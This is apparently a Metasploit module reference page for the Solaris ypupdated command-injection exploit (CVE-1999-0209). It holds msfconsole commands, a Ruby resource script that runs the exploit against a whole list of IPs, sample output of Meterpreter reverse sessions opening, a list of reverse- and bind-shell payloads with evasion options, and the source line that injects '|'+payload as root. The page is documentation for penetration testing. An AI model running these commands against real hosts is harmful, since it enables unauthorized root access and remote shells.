Solaris ypupdated Command Execution - Metasploit
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Module Overview
Name: Solaris ypupdated Command Execution
Module: exploit/solaris/sunrpc/ypupdated_exec
Source code: modules/exploits/solaris/sunrpc/ypupdated_exec.rb
Disclosure date: 1994-12-12
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Solaris, Unix
Target service / protocol: -
Target network port(s): 111
List of CVEs: CVE-1999-0209
This exploit targets a weakness in the way the ypupdated RPC application uses the command shell when handling a MAP UPDATE request. Extra commands may be launched through this command shell, which runs as root on the remote host, by passing commands in the format '|<command>'. Vulnerable systems include Solaris 2.7, 8, 9, and 10, when ypupdated is started with the '-i' command-line option.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using ypupdated_exec against a single host
Normally, you can use exploit/solaris/sunrpc/ypupdated_exec this way:
msf > use exploit/solaris/sunrpc/ypupdated_exec
msf exploit(ypupdated_exec) > show targets
... a list of targets ...
msf exploit(ypupdated_exec) > set TARGET target-id
msf exploit(ypupdated_exec) > show options
... show and set options ...
msf exploit(ypupdated_exec) > exploit
Using ypupdated_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your ypupdated_exec will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/solaris/sunrpc/ypupdated_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the solaris/sunrpc/ypupdated_exec exploit module looks in the msfconsole:
msf6 > use exploit/solaris/sunrpc/ypupdated_exec
msf6 exploit(solaris/sunrpc/ypupdated_exec) > show info
Name: Solaris ypupdated Command Execution
Module: exploit/solaris/sunrpc/ypupdated_exec
Platform: Solaris, Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 1994-12-12
Provided by:
I)ruid <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
GID 0 no GID to emulate
HOSTNAME localhost no Remote hostname
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 111 yes The target port (TCP)
UID 0 no UID to emulate
Payload information:
Space: 1024
Description:
This exploit targets a weakness in the way the ypupdated RPC
application uses the command shell when handling a MAP UPDATE
request. Extra commands may be launched through this command shell,
which runs as root on the remote host, by passing commands in the
format '|<command>'. Vulnerable systems include Solaris 2.7, 8, 9,
and 10, when ypupdated is started with the '-i' command-line option.
References:
https://nvd.nist.gov/vuln/detail/CVE-1999-0209
OSVDB (11517)
http://www.securityfocus.com/bid/1749
Module Options
This is a complete list of options available in the solaris/sunrpc/ypupdated_exec exploit:
msf6 exploit(solaris/sunrpc/ypupdated_exec) > show options
Module options (exploit/solaris/sunrpc/ypupdated_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
GID 0 no GID to emulate
HOSTNAME localhost no Remote hostname
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 111 yes The target port (TCP)
UID 0 no UID to emulate
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the solaris/sunrpc/ypupdated_exec exploit:
msf6 exploit(solaris/sunrpc/ypupdated_exec) > show advanced
Module advanced options (exploit/solaris/sunrpc/ypupdated_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
TIMEOUT 10 yes Number of seconds to wait for responses to RPC calls
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the solaris/sunrpc/ypupdated_exec module can exploit:
msf6 exploit(solaris/sunrpc/ypupdated_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the solaris/sunrpc/ypupdated_exec exploit:
msf6 exploit(solaris/sunrpc/ypupdated_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
3 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
4 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
5 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
6 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
7 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the solaris/sunrpc/ypupdated_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(solaris/sunrpc/ypupdated_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
ONCRPC::tcp_request_fragmentation false no Enable fragmentation of TCP ONC/RPC requests
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No Errors, appears to have succeeded!
Here is a relevant code snippet related to the "No Errors, appears to have succeeded!" error message:
71: command = '|' + payload.encoded
72: msg = Rex::Encoder::XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
73: sunrpc_call(procedure, msg)
74:
75: sunrpc_destroy
76:
77: print_status('No Errors, appears to have succeeded!')
78: rescue ::Rex::Proto::SunRPC::RPCTimeout
79: print_warning('Warning: ' + $!)
80: end
81: end
Warning
Here is a relevant code snippet related to the "Warning" error message:
71: command = '|' + payload.encoded
72: msg = Rex::Encoder::XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
73: sunrpc_call(procedure, msg)
74:
75: sunrpc_destroy
76:
77: print_status('No Errors, appears to have succeeded!')
78: rescue ::Rex::Proto::SunRPC::RPCTimeout
79: print_warning('Warning: ' + $!)
80: end
81: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8710 Merged Pull Request: Rex::Encoder::XDR conflicts with the XDR gem
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #960 Merged Pull Request: Use print_warnings
References
- CVE-1999-0209
- OSVDB (11517)
- BID-1749
See Also
Check also the following modules related to this module:
- auxiliary/admin/sunrpc/solaris_kcms_readfile
- auxiliary/dos/solaris/lpd/cascade_delete
- exploit/solaris/dtspcd/heap_noir
- exploit/solaris/local/extremeparr_dtappgather_priv_esc
- exploit/solaris/local/libnspr_nspr_log_file_priv_esc
- exploit/solaris/local/rsh_stack_clash_priv_esc
- exploit/solaris/local/xscreensaver_log_priv_esc
- exploit/solaris/lpd/sendmail_exec
- exploit/solaris/samba/lsa_transnames_heap
- exploit/solaris/samba/trans2open
- exploit/solaris/ssh/pam_username_bof
- exploit/solaris/sunrpc/sadmind_adm_build_path
- exploit/solaris/sunrpc/sadmind_exec
- exploit/solaris/telnet/fuser
- exploit/solaris/telnet/ttyprompt
- payload/solaris/sparc/shell_bind_tcp
- payload/solaris/sparc/shell_find_port
- payload/solaris/sparc/shell_reverse_tcp
- payload/solaris/x86/shell_bind_tcp
- payload/solaris/x86/shell_find_port
- payload/solaris/x86/shell_reverse_tcp
- post/solaris/escalate/pfexec
- post/solaris/escalate/srsexec_readline
- post/solaris/gather/checkvm
- post/solaris/gather/enum_packages
- post/solaris/gather/enum_services
- post/solaris/gather/hashdump
- exploit/netware/sunrpc/pkernel_callit
- auxiliary/scanner/misc/sunrpc_portmapper
- exploit/windows/brightstor/mediasrv_sunrpc
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Authors
- I)ruid <druid[at]caughq.org>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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